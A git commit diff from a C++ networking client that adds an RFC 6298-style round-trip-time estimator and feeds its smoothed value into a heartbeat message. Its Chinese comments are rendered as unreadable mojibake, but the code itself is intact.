Improve: Master using ZSTD_DCtx and using new RTT

This commit is contained in:
yuanyuanxiang
2025-08-15 03:00:18 +08:00
parent e779fb0b51
commit 4a706d4f7b
8 changed files with 67 additions and 53 deletions

View File

@@ -91,6 +91,36 @@ private:
}
};
struct RttEstimator {
double srtt = 0.0; // ƽ<><C6BD> RTT (<28><>)
double rttvar = 0.0; // RTT <20><><EFBFBD><EFBFBD> (<28><>)
double rto = 0.0; // <20><>ʱʱ<CAB1><CAB1> (<28><>)
bool initialized = false;
void update_from_sample(double rtt_ms) {
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
// ת<><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
}
else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С RTO<54><4F>RFC 6298 <20>Ƽ<EFBFBD> 1 <20>
if (rto < 1.0) rto = 1.0;
}
};
class CKernelManager : public CManager
{
public:
@@ -107,7 +137,7 @@ public:
UINT GetAvailableIndex();
State& g_bExit; // Hide base class variable
MasterSettings m_settings;
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
RttEstimator m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int SendHeartbeat() {
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
@@ -122,7 +152,7 @@ public:
ActivityWindow checker;
auto s = checker.Check();
Heartbeat a(s, m_nNetPing);
Heartbeat a(s, m_nNetPing.srtt);
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);